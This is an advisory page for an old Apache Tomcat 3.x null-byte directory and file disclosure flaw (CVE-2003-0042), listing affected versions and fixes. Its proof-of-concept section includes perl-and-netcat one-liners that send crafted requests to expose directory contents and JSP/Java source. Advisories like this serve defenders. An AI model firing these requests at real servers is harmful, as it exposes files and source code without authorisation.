Apache Tomcat Null Byte Directory/File Disclosure Vulnerability

BID:6721

Info

Apache Tomcat Null Byte Directory/File Disclosure Vulnerability

Bugtraq ID: 6721
Class: Input Validation Error
CVE: CVE-2003-0042
Remote: Yes
Local: No
Published: Jan 26 2003 12:00AM
Updated: Jul 11 2009 08:06PM
Credit: This vulnerability was discovered by Jouko Pynnönen of Online Solutions Ltd.
Vulnerable: Apache Tomcat 3.3.1
Apache Tomcat 3.3
- BSDI BSD/OS 4.0
- Caldera OpenLinux 2.4
- Debian Linux 2.2
- Debian Linux 2.1
- Digital UNIX 4.0
- FreeBSD FreeBSD 5.0
- FreeBSD FreeBSD 4.0
- Mandriva Linux Mandrake 7.1
- Mandriva Linux Mandrake 7.0
- NetBSD NetBSD 1.4.2 x86
- NetBSD NetBSD 1.4.1 x86
- Redhat Linux 6.2 i386
- Redhat Linux 6.1 i386
- SGI IRIX 6.5
- SGI IRIX 6.4
- Sun Solaris 8_sparc
- Sun Solaris 7.0
Apache Tomcat 3.2.4
Apache Tomcat 3.2.3
Apache Tomcat 3.2.1
- BSDI BSD/OS 4.0
- Caldera OpenLinux 2.4
- Debian Linux 2.2
- Debian Linux 2.1
- Digital UNIX 4.0
- FreeBSD FreeBSD 5.0
- FreeBSD FreeBSD 4.0
- HP Secure OS software for Linux 1.0
- Mandriva Linux Mandrake 7.1
- Mandriva Linux Mandrake 7.0
- NetBSD NetBSD 1.4.2 x86
- NetBSD NetBSD 1.4.1 x86
- Redhat Linux 6.2 i386
- Redhat Linux 6.1 i386
- SGI IRIX 6.5
- SGI IRIX 6.4
- Sun Solaris 8_sparc
- Sun Solaris 7.0
Apache Tomcat 3.2
- BSDI BSD/OS 4.0
- Caldera OpenLinux 2.4
- Debian Linux 2.2
- Debian Linux 2.1
- Digital UNIX 4.0
- FreeBSD FreeBSD 5.0
- FreeBSD FreeBSD 4.0
- Mandriva Linux Mandrake 7.1
- Mandriva Linux Mandrake 7.0
- NetBSD NetBSD 1.4.2 x86
- NetBSD NetBSD 1.4.1 x86
- Redhat Linux 6.2 i386
- Redhat Linux 6.1 i386
- SGI IRIX 6.5
- SGI IRIX 6.4
- Sun Solaris 8_sparc
- Sun Solaris 7.0
Apache Tomcat 3.1.1
Apache Tomcat 3.1
- BSDI BSD/OS 4.0
- Caldera OpenLinux 2.4
- Debian Linux 2.2
- Debian Linux 2.1
- Digital UNIX 4.0
- FreeBSD FreeBSD 5.0
- FreeBSD FreeBSD 4.0
- Mandriva Linux Mandrake 7.1
- Mandriva Linux Mandrake 7.0
- NetBSD NetBSD 1.4.2 x86
- NetBSD NetBSD 1.4.1 x86
- Redhat Linux 6.2 i386
- Redhat Linux 6.1 i386
- SGI IRIX 6.5
- SGI IRIX 6.4
- Sun Solaris 8_sparc
- Sun Solaris 7.0
Apache Tomcat 3.0
- BSDI BSD/OS 4.0
- Caldera OpenLinux 2.4
- Debian Linux 2.2
- Debian Linux 2.1
- Digital UNIX 4.0
- FreeBSD FreeBSD 5.0
- FreeBSD FreeBSD 4.0
- Mandriva Linux Mandrake 7.1
- Mandriva Linux Mandrake 7.0
- NetBSD NetBSD 1.4.2 x86
- NetBSD NetBSD 1.4 x86
- Redhat Linux 6.2 i386
- Redhat Linux 6.1 i386
- SGI IRIX 6.5
- SGI IRIX 6.4
- Sun Solaris 8_sparc
- Sun Solaris 7.0
Not Vulnerable: Apache Tomcat 3.3.1 a

Discussion

Apache Tomcat Null Byte Directory/File Disclosure Vulnerability

Apache Tomcat is prone to a directory/file disclosure vulnerability when used with JDK 1.3.1 or earlier.

It has been reported that remote attackers may view directory contents (even when an 'index.html' or other welcome file). It is also possible for remote attackers to disclose the contents of files.

This vulnerability is due to improper handling of null bytes (%00) and backslash ('\') characters in requests for web resources.

Exploit / POC

Apache Tomcat Null Byte Directory/File Disclosure Vulnerability

The following proof of concepts were provided:

GET /<null byte>.jsp HTTP/1.0
$ perl -e 'print "GET /\x00.jsp HTTP/1.0\r\n\r\n";' | nc my.server 8080
$ perl -e 'print "GET /admin/WEB-INF\\classes/ContextAdmin.java\x00.jsp HTTP/1.0\r\n\r\n";'|nc my.server 8080
$ perl -e 'print "GET /examples/jsp/cal/cal1.jsp\x00.html HTTP/1.0\r\n\r\n";'|nc my.server 8080

Solution / Fix

Apache Tomcat Null Byte Directory/File Disclosure Vulnerability

Solution:
HP has released an advisory (HPSBUX0303-249) that contains fixes to address this issue.

This issue has been addressed in Apache Tomcat 3.3.1a.

Fixes are available:


Apache Tomcat 3.0

Apache Tomcat 3.1

Apache Tomcat 3.1.1

Apache Tomcat 3.2

Apache Tomcat 3.2.1

Apache Tomcat 3.2.3

Apache Tomcat 3.2.4

Apache Tomcat 3.3

Apache Tomcat 3.3.1

References

Apache Tomcat Null Byte Directory/File Disclosure Vulnerability

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report